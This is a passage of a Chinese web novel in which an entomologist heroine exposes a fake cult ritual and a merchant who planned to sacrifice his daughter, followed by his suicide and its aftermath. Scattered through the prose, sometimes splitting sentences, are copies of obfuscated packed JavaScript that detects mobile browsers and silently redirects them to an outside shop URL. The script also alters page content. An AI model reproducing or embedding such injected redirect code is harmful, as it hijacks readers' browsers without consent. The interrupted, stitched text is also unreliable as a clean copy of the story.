眼看再说下去，事情将无法转圜，方士上前一步接了话茬，“这殿内的烛火皆有定数，怎能轻易熄灭，姑娘莫要玩笑了。” 乔元无奈轻叹一口气，不见棺材不掉泪，这两人当真执着。 地质学上，有一类卤化物矿物，名为萤石。这类矿物有一个有趣的特性，就是会在紫外线的照射下发出荧光。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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殿内人多，出去的时候颇费了一番功夫，趁着人多杂乱，乔元不动声色地在严元雁耳边叮嘱了几句。 见她点头，乔元这才退后，同她保持了几分距离。 一盏茶后，殿内众人已经争相在中道上站好了。 严元雁听从乔元所说，先一步在中道的风口处站定，在原地等灵石从殿内被送出来。 不过片刻，灵石便连同桌案一齐被送了出来。只不过与在殿内不同的是，这回灵石的一左一右处，皆放着两个高高的烛台，烛台上的蜡烛燃得正旺。 方士是最后到的，他迈下台阶，站到人群中央问道：“此番可还有疑义？” 半晌不见有人发话，乔元站在一侧，同样闭口不言。方士定定神，这才走到严元雁身侧道：“三姑娘，如此这请神仪式便要开始了。” 严元雁点头应是。 中道风口处，骤然一阵风起，烛火摇曳，桌案上的红绸也在风里翻飞。 正当严元雁重新拔出匕首之际，变故陡生。 桌案上的红绸不知何时同她的宽袖勾连在了一起，她拔开匕首之时，红绸被袖口带动往前一拉，竟被掀翻了出去。放置在桌案上的两盏蜡烛同灵石受到拉扯，‘哐当’几声，从桌案上翻转落地。 烛台倾倒蜡油贯出，烛火顷刻间熄灭。 院内霎时漆黑一片。 人群被这突如其来的变故吓到，一时乱作一团，慌乱之中，不知是谁喊了一声，“快看！灵石在发光！” 在场众人这才回神定睛看去，只见在桌案下一角，掌功所说只有引血为祭才能发光的灵石，此刻正掉落在地，散发着幽幽磷光。 44. 解答（四） 弯月隐入层云，中道上的风还在兀自吹着。 柔和的磷光印入每个人的眼瞳，各处角落都响起私语声。 “这……三姑娘不是还未请神吗？为何灵石会发亮？” “莫不是方才这般拖延，惹怒了神王？” “那岂不是弥天大祸啊！神王在上，请受小人一拜，还请神王宽宥，宽宥……” 一时间，慌乱的情绪弥漫整个阴王祠，当即有人面向石块就地下跪，乞求神王息怒。 远处的严绍同方士二人，已然面色铁青。 方士低声同身侧的人吩咐了些什么，那人领命而去。 余下的阴神教众马上将百姓同桌案隔开，倒地的蜡烛重新燃起火焰，掉落在地上的灵石也被恭敬地请回到桌案上。 站在桌案另一侧的严元雁手里还握着匕首，唇色泛白，但瞧上去还算镇定。 方才将红绸连同桌案上的灵石一齐掀翻，是她从出生到现在，做过最出格的事儿了。 但严元雁并不后悔。 回想起自己这一生，孝顺听话，温良恭俭，从未对爹娘兄弟说过一声‘不’字。 可就在冰凉的刀刃贴近她皮肤的一瞬间，殿内乔元附耳说的话再度回响在她耳边。 “一切不过是阴神教的骗局，这世上本就没有困囿你的牢笼。若姑娘欲死，我不作阻拦；若姑娘想活，那便听我一言。” 是啊，她不想死，她想活着！ 灵石落地那刻，严元雁甚至觉得有些解气，她听话了这么多年，终于大大地叛逆了一次。 中道上的百姓还在哄闹着，严元雁的目光却不自觉地被乔元吸引，对方负手而立，面上没有多余的情绪。可她却觉得仙师如同救苦救难的谪仙一般，能在她最难的时候，将她拉出这泥潭。 二人不过几面之缘，仙师便能如此深入险境救她，这份恩情，她严元雁此生必要报答。 乔元察觉到严元雁看向她的目光，姑娘眼里水光盈盈，唇角微张轻声对她说些什么。二人之间隔着桌案，乔元听不清，只得朝对方轻轻颔首，示意她先安静等着。 灵石落地，磷光失去烛光的掩盖现于人前。乔元目视前方，同方士的眼神在空中相接，她知道，纵然方士再舌灿莲花，也扭转不了这样的局面了。 她能以此为点杀，对方个片甲不留。 待场面收拾停，乔元率先开口问道：“三姑娘还未曾割腕献祭呢，这灵石便兀自亮了，掌功可能为我们解惑？” 乔元所问正是在场每一个人心头所好奇的，他们目光灼灼地看方士，等待着一个回答。 阴王冥诞被毁成这样，连事先准备好的灵石也被砸出凹痕。这次回到教内，责罚必是免不了了。既然如此，不如一不做二不休。 方士心头怒意极盛，狞笑一声，提步便朝乔元走来，他甚至都没有多余的动作，手指乔元便道：“灵石突兀现光，定是因为有你等妖邪在场！我阴神教容不得你这样的人来破坏阴王冥诞，来人，快将这妖邪带下去关押起来。” 看来是真的戳到痛处，连装都不再装了。 方士一声令下，候在一旁的阴神教众直直往乔元所在的方向冲过来，各个都是横眉怒目的。 乔元可没傻到在原地老实等待，就在阴神教众以为她会往外逃窜之际。她却众人意料的快速冲向祭祀的桌案旁，在众人震惊的眼神里，拿起了桌案上的灵石。 “别动！再动我直接砸碎它！” 在场只有方士知晓这不过是块会发光的石头罢了，其余的阴神教众可并不知情。 眼看教中如此重要的灵石被对方拿在手里，这些教众围聚在乔元身边，一时间无人敢轻举妄动。 一群人高马大的汉子围着一个手举青色石头的姑娘，场面诡异的安静下来。 站在中道上的百姓，更是丈二和尚摸不着头脑。 好端端的，说献祭才能亮的灵石自己个儿发光了，说着请来除地蚕的仙师转眼便成了妖邪。 整个阴王祠如今鸡飞狗跳的，根本无人同他们解释，这闹的到底是哪一出。 方士见这几人连个姑娘都收拾不过来，他还不能开口吩咐手底下的人别管那灵石，气得在原地转了好几个圈，生生拿乔元没有办法。 乔元手上拿着灵石，在确保自己安全后，继续激怒方士道：“掌功为何一直不答，还编出我是妖邪这等话来吓人，我不过求个解答，掌功何必——” “动怒。”二字还未出口，乔元觉得身体被人往前撞了一下，她踉跄回头，是严元雁。 严元雁满脸惊恐，尖声将她往外推去，“仙师，快跑！” 乔元这才惊觉，在她同方士对峙之际，严绍不知何时已经绕到了她身后，他双目通红，高举匕首，初见时的温和儒雅已经尽数被他抛之脑后，他口中喃喃道：“邪祟，今日你便在此伏诛罢！” 严元雁想上前阻拦，却被严绍一脚踹开。 周边都是阴神教众，眼看严绍往她这处快步而来，已无退路的乔元脑中有片刻空白。 她下意识的想拿手中的灵石去阻挡严绍的匕首，那一瞬间，周围安静到她只听得见自己的心跳声。 可出乎乔元意料的是，她身形未动，严绍却在下一刻自她眼前飞了出去。 一道颀长的身影立在她身前，低沉的嗓音是说不出的冰冷，“我看谁敢动她。” 是江稷。 江稷双手紧握成拳，浑身紧绷。若他再晚来一瞬，乔元非死即伤。 乔元的这才像是回过神来一般，大口大口喘着气，任由江稷将她扶起，“多谢，这次多亏你来的如此及时。” 江稷面若寒霜，看向她的目光里也满是不悦，“同你说了莫要鲁莽行事，你为何不听。” 乔元知道这事儿是有些莽撞，同他打着哈哈道：“事出突然，来不及同你说。” “我不是曾给过你一个竹罐？你只要拉响，我必到你身边。” 乔元这才后知后觉地想起一直放在身上的竹罐，她难得面上有些羞赧，“我给忘了。” 江稷看向乔元的眸色里，多了几分无奈。 “你先在这处歇着，这点事儿便交由我动手。” 乔元抬手拦住他，“不必，你在我身侧便好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“邪教！快将我供奉的钱退回来！不然我便去报官抓你们！” 一时间，申讨声此起彼伏。 方士躲在他的几个教众后头，被周遭的百姓围在中道上，几人如同风中落叶一般瑟瑟发抖。 群情激奋之下，有人的拳头便朝方士的鼻梁落了下来，不出片刻，中道上便响起了此起彼伏的拳脚声。 乔元依稀听得方士几人的哀嚎，“哎呦，哎呦别打了，别打了。” “我错了，且饶了我罢，别打了。我不过是个打杂的，我也是被他给骗了。” 眼看加入战局的人越来越多，乔元扯了扯江稷的袖子，“这样打下去怕是要出人命，你且去拦一拦，将人带去县衙罢。” 江稷颔首往人群处走去。 可能是方才他踹严绍的身形的确吓到了不少人，见江稷发话，众人这才停下手脚。 方士几人面上青一块紫一块的，连一块好地都没有，鼻血都快沾湿了衣裳。 “走！我们带他们去县衙！” 有人带头，百姓们很快便接连走了出去。 方才还热闹的中道，此刻只剩下寥寥几人。 目光转向一旁倒地不起的严绍，乔元这才发现，他身侧还围着几个熟悉的身影。 45. 解答（五） 乔元问向江稷，“他们怎的在此？” 江稷道：“我跟着那人一路到后院，便见严元向正被他们绑在后头。将他救出来后问了缘由才知，他是来救妹妹的。回来路上又遇见那丫头正欲寻死，我索性便将两个人都带过来了。” 严绍被严元向扶在怀里，少年不算高挑的身子只堪堪扶着严绍的半个上身，剩下的半截身躯无力地瘫倒在地上。 严绍嘴角的血迹已被擦的干净，看上去依旧体面干净。 但那些已经沾到衣衫上的，却是无论如何都擦不掉了。 在父子二人的另一侧，严元雁面颊上俱是冷汗，跪坐在一旁。南枝在一旁小心抹泪，替她轻揉小腹。 见乔元同江稷朝着他们走来，严元向的胸脯剧烈起伏着，面颊泛红，眼神里透露着极大的敌意，“别过来！你们两个杀人凶手。” 少年的威慑，实在太微不足道了。 乔元无视他的警告，一步步走了过来，直至站到了严绍面前。 江稷就在乔元身前，严元向有心想要阻拦，泪水却是不争气地流了下来。 严绍抬手拍了拍严元向的手臂，“无妨，扶我起来些。” 直起上半身，严绍瞧着精神了些，他从下往上仰视着乔元，“仙师真是好手段，严某自愧不如。” 乔元面容平静，“严员外过誉了。如今阴神教已被毁，想来没过几日，员外也得去着后塘县衙了。” 严绍轻笑道：“我严绍为人方正，上对得起涌泉村百姓，下对得起严家老小，何罪之有要去县衙？” “是吗？”乔元语气平淡，“勾结方士将阴神教引入此地的是你，如今想要将女儿献祭谋得利益的也是你，这便是你说的何罪之有？” 严元向同严元雁二人闻言，眼里俱是不可置信。 “仙师，你说什么？”严元雁的身子往旁边一歪，若是不有南枝在一旁撑着，险些立不住。“什么叫将我献祭谋得利益？” 严元向扶着严绍的双臂紧了紧，大声斥责道：“你在胡说八道些什么！我爹怎会是这样的人？” 乔元道：“严员外，事到如今，你还不肯说实话吗？” 严绍丝毫没有被戳中秘密的惊慌，他温声道：“莫不是当初的赏钱还没给够，仙师为了让我严绍颜面扫地，当真是什么话都说得出口。” 乔元不被他所惑，从身上的布袋里掏出了几条地蚕，丢到了严绍身上。那本是她想在严元雁割腕时，丢出来迷惑视线的。 “这几条地蚕，是从后塘镇旧址上带回来的。地蚕会在每年的三四月份到地上活动，五月初便开始找地方化蛹。你同阴神教一齐选了地蚕，不就是为了献祭雁姐儿之后，到了五月地蚕消失的无影无踪，以这样大的神迹，来证明神王的伟大。” “为了将这出戏演的更真实些，你四处延请能治虫害的人来此地，就是为了让大家将神王的名号打出去。只可惜，你请到了我。” 乔元的话语略有停顿，顶尖昆虫学家的底气在这一刻展现的淋漓尽致。 “在这整个景朝，便没有我不认识、治不好的虫害。” 乔元这话引得江稷侧目，但江稷非但不觉得她狂妄，甚至隐隐觉得这景朝，怕是真的只有她才能做到。 严绍再不复方才的冷静，他的鬓角隐隐有了湿意。 乔元接着道：“但这不是我怀疑你的最终理由，严员外，你知道你是哪处漏了马脚吗？” 乔元也没打算他会作答，双眸静静看着他，徐徐将答案说了出来。 “是你将雁姐儿唤回来。” “父母爱子，决计不会将儿女置入险境。你在我们面前装了多少日的慈父，但从你将雁姐儿唤回来那刻起，你前面做的这一切，都将烟消云散。” 严绍垂首，自喉头深处发出一阵张狂的笑意，直到笑得眼睫都沾了泪水，他这才慢慢收敛了下来，“对，没错，这一切都是我做的。” 撕下伪善的面具，严绍的脸皮下藏着的是铺天的恶意。 他看向严元雁，眼珠上下翻动，像是在打量什么值钱的货物。“雁姐儿就算长成，几年后不过也就是嫁个稍微富庶些的乡绅。日复一日，过着商户女的生活。若她今日能死在此处，那便能替整个严家后世挣上一个好前程。” 严元雁面色白了又白，她捂紧胸口，哀戚道：“爹！你到底在说些什么？” 严元向下意识松开扶着严绍的手，眼眸里的的震惊溢于言表，“爹，她可是三妹妹啊！她是我们的家人！” 严绍嗤笑一声，“家人？什么家人？你祖父可曾当过我是他的家人？生于我们商贾之家，以利为上，家人算什么东西。” 说完，他像是想到了什么，同样皱眉看向严元向，“向哥儿，你当真是太懦弱了，连你大哥的一半都不如。我还当你是真病了，未曾想你是借着装病的由头想来救你三妹妹。你这点自以为是的善心，能救得了谁。” 严元向往后一步一步退去，直至退无可退，磕到台阶跌倒在地。他无法接受一向疼爱他们的爹变成这副模样，边说边摇头道：“你不是我爹，我爹不是这样子的。” 相比严元向的逃避，严元雁显然接受的更快，她唇齿颤抖着出声：“所以这一切，并非我们家真的受到神罚，从始至终，都是爹你一手策划的？” 终于不用带着面具装成一个慈父，严绍的心情明显快活了不少，他道：“这是自然。” 他的双唇一碰一张，朝严元雁笑的坦然，“雁姐儿，你怎的不早些去死呢？” “你今日若早些死了，也便没有这么多事了。” 听到预料中的回答，严元雁轻阖双眸，泪水颓然滑落面颊。 剖白的真相，想要置自己于死地的父亲，严元雁甚至觉得，即便她现在还活着，同死了又有何分别。 她重新看向严绍，迫切的想要知道一个答案。“为什么？到底是什么东西值得你连亲生女儿都不要了？” 话已经说开，严绍不介意再多说一些。 他扶着地站了起来，江稷方才踹他用了十成的力道，严绍起身的脚步有些不稳，他蹒跚向前道：“我们严家以商立本，可这世道，商人最微贱不过，谁人都能来踩一脚。佃户佃着我们的低价田地，背地里却还要说我们刻薄寡恩。县衙收着我们的高额田税，转头便叫人将我轰了出来。” “你很想知道爹为何不惜献祭你，也要投靠阴神教罢。”严绍重新走到中道上，抬头看着天际的明月，目露向往，“爹想为我们严家，换上一张户籍，一张上头不是写着商户的户籍。” “不过是这样的理由，便值得将三妹妹送来杀了吗！”严元向听完严绍这番话，哭嚎了出来。 “这样的理由？”严绍目露凶光，拖着呕血的身体快步冲向严元向，“你怎敢说这是这样的理由？” 他掐着严元向的脖子前后晃动，直到严元向的眼瞳开始泛白，这才放开了手。 他低头看着自己的双手，过了好一会儿才反应过来。 将手轻轻覆上严元向的脸颊，严绍低语道，“你可知晓你祖父，你高祖父，为了换这户籍，劳累了多少年？” “货郎出身，靠着走街串巷才得了银钱，日复一日缺衣少食，好容易攒下些银钱才买上了几块田地。靠着佃出这些地，我们严家一步步走到今天，为的就是脱离商籍。” 眼前的父亲太过于疯狂，严元向吓得大气都不敢出。 “爹难道没有去县衙求告 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13958116|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过吗？我月月去，年年去，寒暑不间。可县衙呢？” 他从喉头里吐出怪异的笑声，“今日说知县不在，明日说律法不允。我真金白银的塞了这么多年，他们却只当我是个提取金银的玩意儿。五年前，我们后塘镇换了位新知县，本以为这次终可换得户籍，可结果呢？他们官官勾结，为了从我手中换得多多的银钱，一直扣着我严家的户帖到今日。” “严家百年，却连换一张小小的户籍都做不到。” 乔元同江稷站在一旁，二人的神色俱是复杂。 说完这番话，严绍不再趴坐在严元向身前，他重新站了起来，伸开双臂道：“直到你大哥外出经商的时候，遇到了掌使。” 提起掌使，严绍眼瞳里俱是敬仰。 他面朝明月，似是在吸收月光精华，“掌使同我承诺，只要能让元姐儿心甘情愿献祭入祠，让神王吸收少女精魄，阴神教便能在此处屹立不倒，届时我严家必能更换户籍。” 乔元皱眉道：“你怎知他不是诓骗于你。” 严绍侧脸看向乔元，视她如同蝼蚁，“区区凡人，你如何能知掌使手眼通天。若是他想，这后塘镇的知县顷刻间便能换人。” “若不是你们，若不是你们。”严绍咬牙，乔元甚至能听见他齿根发出的“咯咯”声。 “今日便是我严家彻底扭转乾坤的命定之日！” 这句话带着严绍的不甘和苦痛，在阴王祠上空久久回响。 所有谜团均已解开，乔元沉默着没有接话。 江稷开口道：“按景朝律法，商户若想更换户籍，只消在本地居住十年，按时缴纳赋税，在更换户籍时上交等额的人头税便可更换。若本地知县不允，你为何不上告到州里？” 严绍轻哼，“律法，这景朝何处还有律法？我连这后塘镇都出不去，我又上哪里去告？”他看向江稷再度讥讽道：“若不是这几年银钱交的多了些，我严家无一人能走出这后塘镇。” 江稷不曾料到，灵州治下还有如此黑暗的地方，纵然他知晓不该只听严绍的一面之词，但手上的青筋已经将他的怒气暴露无遗。 临阳江氏，受百姓依托而存，纵然他行事不羁，但这样的事，已然超过了他的底线。 严绍不再同他搭腔，也没有再将目光分给自己的儿女分毫。他一步一步，像是朝圣般，缓缓地朝中道上走去。 中道上方才重新燃起的烛火还在风里摇曳，像一朵暖黄色的柔软花朵，忍不住让人捧在手心。 严绍站在桌案前一处站定，弯腰摸索了什么放在手心。 他最后一次，抬头看向了月亮，喃喃道：“今晚的月色，真好啊。” ‘噗呲’一声，是鲜血溅出的声音。 待乔元同江稷意识到发生什么的时候，严绍的身躯已经轰然倒下。 那把应该被严元雁用来割腕的匕首，此刻正直直插在他的喉间。 鲜血自严绍脖间喷涌而出，乔元从来没见过这样血色四溅的场面，她的双脚定在原地无法动弹，身体开始失温，双眸有片刻失焦。 “爹——！” “爹——！” 严元向同严元雁的惊呼声同时响起，他们二人趴着跪着冲向严绍身侧。 江稷第一时间也赶了过去，但严绍的匕首插的太深，几息之间，便没了气息。 严氏儿女揽着他一点点凉透的身体，哭嚎着求救。 巨大的悲痛袭击了这对尚且年幼的儿女，严绍以一种近乎决绝的方式，死在了他们面前。 乔元的神色有些恍惚，严绍的生前最后一句话，反复在她脑海中出现。 “今晚的月色，真好啊。” 眼前一黑，乔元也倒了下去。 46. 解答（六） 睁开眼，正是艳阳天。 朱橘色的垂花纱幔置于床榻顶上，乔元费力回想了一会儿，才想起是她同江稷后来定的那间客舍。 房间里弥漫着一股浓浓的药香。 支起身子，乔元往身旁看去。一个眼生的小丫头，正坐在屋内的围炉旁打盹。 有蜜蜂从窗外飞了进来，透亮的翅膀在日光下折射出多彩的光芒。蜜蜂振翅的‘嗡嗡’声吵醒了打盹的小丫头，她回过神来，拿着用来扇炉火的扇子赶了几下，“去去去，别在这处。” 正欲坐下，小丫头习惯性往床上一瞧，却见乔元已经坐了起来。 小丫头面上一喜，“乔姑娘你醒啦！” 她快步往床榻边走来，顺手将桌上的温水端到乔元面前，“姑娘先喝口茶润润嗓子，我这便去叫师傅过来。” 乔元还未及点头，小丫头便蹦蹦跳跳地出去了。 温热的茶水流入咽喉，润泽了干涸的已久的肺腑。 脑袋还有些昏沉，将茶盏放置一边，乔元披上外衣走下床，坐在窗台边上安静等着。 暖阳比初来后塘镇时更热烈了些，日光落在乔元指尖，带了点灼人的温度。 乔元看向树梢上不再新绿的嫩芽，春日要过去了。 不多时，小丫头便回来了。她后头跟着一个白髯老者，老者身上挎着药箱，想必是那丫头口中的师傅了。 老者及到乔元跟前，将药箱放在窗台下，缓身拿出一块脉枕放在窗台软榻的小几上，“姑娘，请将手腕至于之上。” 乔元依言将手腕放到脉枕上，老者搭脉号了半晌，才将手移开道：“姑娘的身子——” “乔元。”急促的脚步声伴着她的名字出现在卧房门口，江稷的胸腔在前后起伏着，他单手抓着门框，见到乔元望过来的清透眸子，这才下意识地松了一口气。放开抓着门框的手，快步走了进来。 “郎中，乔姑娘如何了？” 老者拂着白髯笑道：“公子来的正好，我正要同乔姑娘说呢。她生来便较常人体弱些，再加上这几日四处劳累奔波，又乍见大悲大喜，这才心神失养骤然昏倒。好在着几日靠药调理，将底气养足了些，想来再吃几日药，便无大碍了。” 江稷闻言，连日紧绷的心绪松了松，躬身一礼，“多谢郎中。” 乔元也欲起身行礼，却被老者拦下了。“二位不必多礼，医家本份而已。况且我收了江公子十成十的银子，自然也该办好这差事。二位留步，我先同徒弟下去替姑娘重新抓一剂药。” 老者提着药箱，带着小丫头往屋外走去。不多时，屋里就剩下了乔元同江稷二人。 江稷将闷着的茶盏翻了出来，斟了一盏递给乔元，“如何？可还有何处不舒服？” 乔元接过茶盏，温声笑笑，“多谢，只不过方才那小丫头已经给我斟了一杯茶了，现下有些用不下。” 江稷点头，不甚在意道：“无妨。” 明明江稷是急跑过来的，到了她屋里，却又不再多言，像是只为了靠在她窗边的软榻上晒太阳。 乔元思忖了一会儿，开口问道：“我这是昏迷了几日？” “两日。”江稷抬眸看着她，眼瞳里映出她的影子。 两日时间，说长不长说短不短，但足够整个后塘镇发生天翻地覆的变化。 乔元抿唇，低声发问，“那严家……如何了？” 江稷的睫羽颤动了一瞬，答道：“方士入狱，严绍身死。这两日，不知是谁散出去说严家才是罪魁祸首，如今的严家，人人喊打。” 乔元闭口不言，像是在思考着什么。江稷便也只倚在软榻上，二人就这样静静对坐着。 直到日上中天，乔元这才出声道：“我想去严家看看。” 江稷并未阻拦，“可，不过你几日不进水米，要去也等用过饭，服过药后再去。” 乔元点头应下，“多谢。” 待用完饭，乔元沐浴过后换了身素色的衣裳，这才下楼去寻江稷。 大堂里人来人往的，很是热闹，找了半天，却也找不到江稷的身影。既不在大堂，乔元迈出客舍，果然见到江稷正立在一辆马车前。马车前头还站着一个人，面容有些熟悉。 乔元在脑海中思索一番，想起来了，是温从行。 江稷背对着乔元，温从行却是眼尖先看到了她。 他冲乔元咧嘴笑道：“乔姑娘，你来了。” 江稷这才回身，见到了一身素色的乔元。 昏迷一场，这姑娘的两腮愈发薄了下去，行走之间，多了几分弱柳扶风之态。 江稷看向她，“马车已经套好了，你先上去坐着罢。” 乔元从善如流，踩着脚踏先入了马车内。 温从行站在江稷身侧揶揄道：“怎的对人姑娘这么好，我既要同与你们同去，不若也让我坐坐这马车罢。” 江稷回身看他，皮笑肉不笑道：“你若觉得自己有命坐，你便上去罢。” 温从行拿手中的扇子拍了一下江稷的手臂，“得得得，连坐个车都不肯，本公子可不稀罕你这破马车，你且给你那乔姑娘坐罢。” 说罢，他便翻身上了一旁的枣红色骏马。 如今的后塘镇，无人愿驾车去严家，江稷只能租了辆马车，亲自赶车前往。 一车一马就这样在官道上走着。 路途中，乔元掀开车帘，道旁的榆树林依旧枝叶繁茂。 风里偶尔传来几句温从行同江稷偶尔的斗嘴声，她深吸一口气，复又吐出，面上这才清明几分。 —— 严府。 马车停在严府门口，乔元从马车里下来，只见门口的两盏白灯笼和满地纸钱。 门口侍立的仆役已经一个不见，乔元几人入内绕了好一会儿，这才走到正堂。 府内同样无人，只在堂上放着一副棺材。 严绍的灵位摆在最上头，香炉里头的香已经烧尽，只留下一截短短的香梗。 温从行在正堂上绕了几圈，随意道：“这便是那严员外的家？看来他家的仆役是都跑光了，来了这么久，连个活人也不见。” 乔元没有搭腔，而是回身向江稷要了火折子。 吹燃火折子，乔元拈了几根香炉后头的线香，用它点燃。 随后退到严绍的棺前，躬身拜了三拜，这才将线香插入方才的香炉里。 温从行看着乔元做完这一切，奇道：“乔姑娘，这严绍如此作恶，你怎的还要给他上香。” 乔元目视前方平静道：“逝者已矣，他帮扶着涌泉村多年，这三支香还配得上。” 温从行拖长音调“哦”了一声，转而在正堂外四处走动了起来。 江稷同乔元静静候在堂内，等着温从行逛完回来便走。 二人在堂上待了有一会儿，忽然听得温从行喊道：“是谁在此处，还不快些给小爷我滚出来。” 听到声响，乔元同江稷对视一眼，忙赶了过去。 到了温从行所在之处，便见他正面对一行有些过于茂盛的灌木，在大声嚷些什么。 见江稷来了，温从行拿扇子指了指灌木的一角，很有眼力见地退到一边。 江稷会意，提步向前，乔元还没看清发生了什么，就见从灌木丛里滚出来一个汉子。 那汉子痛呼一声，趴跪在地道：“大人饶命，饶命。” 温从行哼了一声，走到汉子面前，“抬起头来，让小爷我看看。” 汉子顿了顿首，还是依言抬起了头。 乔元同样往前走了几步，打量着这汉子，竟是个熟人。 乔元出声道：“牛大。” 牛大不记得自己曾认识这么些公子姑娘，他壮着胆抬起头，便见江稷目如利剑，那日被打的场面霎时浮现在他心头。 牛大的脑袋又低了下去，磕在地上‘砰砰’出声，“不知仙师驾临，仙师饶命，仙师饶命啊！我错了，再也不敢了。” 温从行奇了，仰头看向江稷，“你们这是对他做了什么，他怎的如此怕你们。” 江稷道：“早前他擅入严府，动手教训了他几下。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“三姑娘，何必如此。”乔元想拦住她，但严元雁却决计不允，直到行完礼，她才道：“方才见正堂的香炉上插上了线香，想来是有人来祭拜了，却未曾料到是几位仙师。如今府内处处杂乱，唯有我院里还算干净，几位不如一齐去坐坐罢。” 她摆了个请的姿势，随后走在前头引路。乔元几人互看了一眼，也抬步跟了上去。 牛大见势不对，也不敢贸然跟着，待几人走后，往正堂上了香，便也匆匆溜走了。 小院还是当时模样，在院内洒扫的南枝听到脚步声，忙出来相迎。 见严元雁后头还跟着乔元几人，南枝欣喜道：“仙师们也来了，姑娘同仙师们稍候，我这便给你们泡茶去。” 小丫头手脚麻利，没一会儿一壶香茶便送了上来。 严元雁请几人坐在院内的石凳上，托南枝的福，氛围稍微缓和了些。乔元开口道：“三姑娘，如今这情势，你打算如何？” 严元雁看向乔元，自嘲道：“我不知道。如今严家家丑已经人人皆知，我在此地，不过苟活着罢了。” 温从行早也听闻了这阴王献祭的苦主便是这严家的三姑娘，他打岔道：“这可不行，姑娘貌美，怎能在如此凄凉之地虚度年华。” 严元雁笑笑，并未回答。 乔元皱眉问道：“你的两位哥哥同母亲呢？他们不是还在，严家怎会骤然没落成这样？” 严元雁笑的讽刺，“我大哥，自那日出门去参加阴王冥诞后，便再也没有回来过。至于二哥，他指不定在何处醉生梦死呢。我娘……她知晓爹自尽于阴王祠前，已经几日病的下不来地了。” 换而言之，这整个严家，如今就靠严元雁一人撑着。 瞧出乔元眼眸里的担心，严元雁的手覆上她的手，打起精神安慰乔元道：“仙师别为我担心，我这样子，再差也差不到哪里去了。如今南枝肯跟着我，我们二人在一起，也算是有个伴。我这条命既被仙师救了回来，便再也不会任人作践。” 同严元雁相处这么久，乔元知道她摇摆不定、胆小迷惘、有时还有些懦弱。 但今日的她，却同以往的任何一个她都不同。 乔元定定的看向面前的这个姑娘，才恍然惊觉，她已经不再是在严家庇护下的藤蔓。 更像是在料峭寒风中开出的花朵，虽小，但坚韧不拔。 47. 解答（七） 车轮声在林荫小道上响起，行进的风将马车的门帘吹开一些，乔元可以清楚看到前头驾车的江稷。 男人的背影高大挺拔，身姿极为笔直。发冠戴的一丝不苟，端庄的仪态像是刻到了骨子里。 察觉到乔元的目光，江稷目视前方稳住车架，忽道：“临别时，你为何要将自己的名姓同住处告诉严元雁？” 从二人到涌泉村的那一天起，便从未对任何一人说过自己的真实名姓，称呼也只用仙师代替。 这话问的有些怪，但乔元细一思索，便知江稷应是担心她泄露了消息。毕竟被人知道堂堂巡检使来此地做个除虫仙师，说出去的确不太光彩。 乔元了然道：“抱歉，你身份特殊，是我未曾考虑周全。严家日后会如何，你我皆心知肚明，我只想若她有一日无处可去，可来寻我。” 严家是块肥肉，严绍一死肥肉无主，会有源源不断的人想要从这块肥肉上私下一点肉碎来。 整个严家没有可用之人，严元雁在深闺养了十几年，外面的尔虞我诈又岂是她独自能够应对。 乔元不过是想给她个念想，若有万一，让她知晓自己并非孤身一人，她还有处可去。 话一出口，江稷便知她是会错意了，他拉缰绳的手一紧，下意识道：“我并非这个意思。” 马车的车速渐渐慢下来，乔元耳里飘来江稷的声音，“你乱了阴神教的计谋，难保对方不会报复你。这样贸然说出自己的名姓，我怕你会给自己惹来麻烦。” 原来他是担心这个。 乔元在同严元雁说出口前，就想到这个问题了，她道：“我们二人同阴神教之间已经结下了死仇，不论我告不告诉严元雁，这个结果都无法改变。况且对方若要入金台县，定逃不过巡检使您的法眼，那我又有何可惧怕。” 她这话说的有些逢迎，但江稷听了却没有丝毫不快。 他脸上挂了一丝笑意，顺着她的话接道：“乔姑娘所言不错，身为巡检使，我自当护佑一方安宁。” “如此便多谢巡检使了。” 骑马在前头快跑一圈的温从行已经从绕回来了，见江稷的车赶的这么慢，笑道：“江稷，你这车赶的比那些老把式差多了，你若出去驾车为生，怕是一年到头都吃不到几顿好饭。” 江稷闻言，反问道：“是吗？你骑得这样快，不怕闪到腰了？” 温从行还没听明白他是什么意思，只听身后传来鞭子的声响。□□的马忽地加速，温从行只得牢牢抓稳缰绳，才不至从马背上落下。 高亢的骂娘声从远处传来，江稷掏了掏耳朵，将马鞭重新放下，当作没听见。 “对了，”江稷冲乔元道：“我们现下不回客舍，我要带你去一趟县衙。” “县衙？” 江稷点头，“我托温从行办了些事，有些细节可能还需你来添一添。” “好。”乔元应了一声。 一行人直至县衙，温从行都没再给江稷什么好脸色。 温从行刚下马，便有属吏上前将马牵走，谄媚道：“温公子来了，我们知县正等着您呢。” 冷哼一声，温从行不顾跟在后头马车上的二人，自顾自进了县衙。 江稷同乔元跟在后头，将马鞭丢给属吏，江稷吩咐道：“喂些上好的马草。”，说完，便带着乔元也一同走了进去。 能跟温公子一路来的，必定非富即贵，属吏不仅不拦，还哈腰道：“贵人放心，我这便去。” 二人一路行至县衙后院，温从行已经悠哉得坐着喝茶了。在他身侧站着个穿官服的中年男子，面上汗涔涔的。 